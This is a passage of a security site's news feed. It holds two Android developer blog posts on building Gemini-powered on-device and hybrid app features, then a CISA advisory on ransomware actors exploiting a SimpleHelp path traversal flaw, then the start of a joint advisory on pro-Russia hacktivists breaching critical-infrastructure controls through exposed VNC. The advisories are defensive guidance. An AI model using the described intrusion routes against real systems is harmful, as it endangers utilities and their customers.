     trip, and common short phrases to learn for the trip.")

Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the developer preview option for AICore, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt here.

The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.

Local processing for sensitive user input

Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.


Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.

Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.

In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.

For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use ML Kit’s Structured Output API to seamlessly output a Kotlin data object that we define.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response

Multimodal input

Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using ML Kit’s Speech Recognition API, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.

The Roman holiday itinerary shows voice note extracts.

The ML Kit GenAI Speech Recognition API allows you to transcribe audio content to text fully on-device using two distinct modes. Basic mode uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. Advanced mode uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.

For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response ->
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -> {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -> {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}

Conclusion

Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.

Check out the full source code for Jetpacker on Github, and watch the video Build Intelligent Android apps with Google’s AI to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2 (this post!): On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

]]> <![CDATA[Build intelligent Android apps: Cloud and hybrid inference]]> https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/ https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/ Sat, 25 Jul 2026 10:15:23 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations



Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.

In this post, we will look at how you can leverage Firebase AI Logic to build cloud-hosted and hybrid AI features: 

  • Grounding answers in real-world context
  • Routing requests dynamically between cloud and local execution using hybrid inference
  • Translating content with custom routing systems


Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. 

Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.


Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and  support chat featuring custom-routed live translation.

Let’s look at how we implemented three cloud and hybrid features in Jetpacker:

  • a museum assistant with web grounding
  • hybrid restaurant review drafting
  • hotel support chat featuring custom-routed live translation.

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

The Museum assistant is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.


Museum assistant is a chatbot that answers questions, such as 
‘How can I get a ticket discount for Le Louvre?’

When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. 



Grounding data is added to the context window to enable the model
 to answer questions correctly and accurately.

To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The Firebase AI Logic SDK supports three types of grounding:

  • URL grounding: Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).
  • Google Search grounding: Letting the model query the real-time Google search index for up-to-date details.
  • Maps grounding: Using Google Maps location data.

In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:

// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf<Tool>()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )

When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:

val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)

Hybrid inference: On-device review generation with Maps deep link

Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the Firebase API for Hybrid Inference.

In Jetpacker, the restaurant review feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. 


The restaurant review feature uses hybrid inference to draft a review based on topics

// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)

The Hybrid Inference API supports four distinct routing modes:

  • PREFER_ON_DEVICE: Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.
  • PREFER_IN_CLOUD: Prioritizes cloud execution and falls back to on-device if the device goes offline.
  • ONLY_ON_DEVICE: Restricts execution strictly to the device.
  • ONLY_IN_CLOUD: Restricts execution strictly to the cloud.

Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:

private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}

Custom hybrid routing: Hotel support chat translation with simulated personas

The hotel support chat was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )

Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. 


Hotel support chat messages are automatically translated to the user’s preferred language 

While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:

  • Language identification: Using the on-device ML Kit Language Identification API, we can detect the incoming message language.
  • On-device translation (Gemini Nano): ML Kit’s Prompt API lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.
  • Cloud translation (Gemini 3 Flash): For more complex languages, we use Gemini Flash 3 to get a higher quality translation.
// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )

When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:

fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" && sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current ->
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}

In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.

Securing the AI Pipelines: Firebase App Check

Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated Firebase App Check using both Play Integrity (production) and the local Debug Provider (for local development or emulators).

In the JetPackerApplication.kt file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:

//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}

When building locally on an emulator, App Check prints a local token secret to logcat:

Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e

Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.

Conclusion

By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.

Check out the full source code for Jetpacker on GitHub, and explore the Firebase documentation to get started:

Firebase AI Logic Documentation
Firebase Hybrid Inference API

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3 (this post!): Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions. 
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0
]]> <![CDATA[Windows Drops Under 60% in Global Desktop OS Share]]> https://tsecurity.de/de/3693458/linux-tipps/windows-drops-under-60-in-global-desktop-os-share/ https://tsecurity.de/de/3693458/linux-tipps/windows-drops-under-60-in-global-desktop-os-share/ Sat, 25 Jul 2026 10:12:44 +0200 🐧 Linux Tipps tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Linus Torvalds on Rust, C, Bugs, and AI Patch-Checking Tools]]> https://tsecurity.de/de/3693455/linux-tipps/linus-torvalds-on-rust-c-bugs-and-ai-patch-checking-tools/ https://tsecurity.de/de/3693455/linux-tipps/linus-torvalds-on-rust-c-bugs-and-ai-patch-checking-tools/ Sat, 25 Jul 2026 10:12:38 +0200 🐧 Linux Tipps tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Rust Will Help Linux Succeed and Makes Coding Fun, Says Greg Kroah-Hartman]]> https://tsecurity.de/de/3693453/linux-tipps/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/ https://tsecurity.de/de/3693453/linux-tipps/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/ Sat, 25 Jul 2026 10:12:26 +0200 🐧 Linux Tipps tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]> https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/ https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/ Sat, 25 Jul 2026 09:19:52 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.1 Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.1 

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <file_path>/SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

  1. Isolate the SimpleHelp server instance from the internet or stop the server process.
  2. Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.2
  3. Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

  • Windows: %APPDATA%\JWrapper-Remote Access
  • Linux: /opt/JWrapper-Remote Access
  • MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in <file_path>/JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with <ConnectTo indicate the server addresses where the service is registered.

SimpleHelp Server

Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.

If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

  1.  Refer to SimpleHelp’s guidance to determine compromise and next steps.3
  2. Isolate the SimpleHelp server instance from the internet or stop the server process.
  3. Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
  4. Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.4

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.

Encrypted Downstream Customers and End Users

If a system has been encrypted by ransomware:

  1. Disconnect the affected system from the internet.
  2. Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
  3. Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).

Proactive Mitigations to Reduce Risk

To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

  • Maintain a robust asset inventory and hardware list [CPG 1.A].
  • Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
  • Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
  • Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
  • Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
  • For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
    • An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.

Resources

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.

Version History

June 12, 2025: Initial version.

Notes

1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.

]]> <![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]> https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/ https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/ Sat, 25 Jul 2026 09:15:46 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Summary

Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.

FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

  • U.S. Department of Energy (DOE)
  • U.S. Environmental Protection Agency (EPA)
  • U.S. Department of Defense Cyber Crime Center (DC3)
  • Europol European Cybercrime Centre (EC3)
  • EUROJUST – European Union Agency for Criminal Justice Cooperation
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Canadian Centre for Cyber Security (Cyber Centre)
  • Canadian Security Intelligence Service (CSIS)
  • Czech Republic Military Intelligence (VZ)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)
  • Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
  • French National Cybercrime Unit – Gendarmerie Nationale (UNC)
  • French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
  • German Federal Office for Information Security (BSI)
  • Italian State Police (PS)
  • Latvian State Police (VP)
  • Lithuanian Criminal Police Bureau (LKPB)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • Romanian National Police (PR)
  • Spanish Civil Guard (GC)
  • Spanish National Police (CNP)
  • Swedish Polisen (SC3)
  • United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.

The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.

Download the PDF version of this report:

Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure (PDF, 1.53 MB )

Background and Development of Pro-Russia Hacktivist Groups

Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.

Cyber Army of Russia Reborn

The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.

In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.

CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.

In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.

The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.

NoName057(16)

The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.

Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 

In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.

Z-Pentest

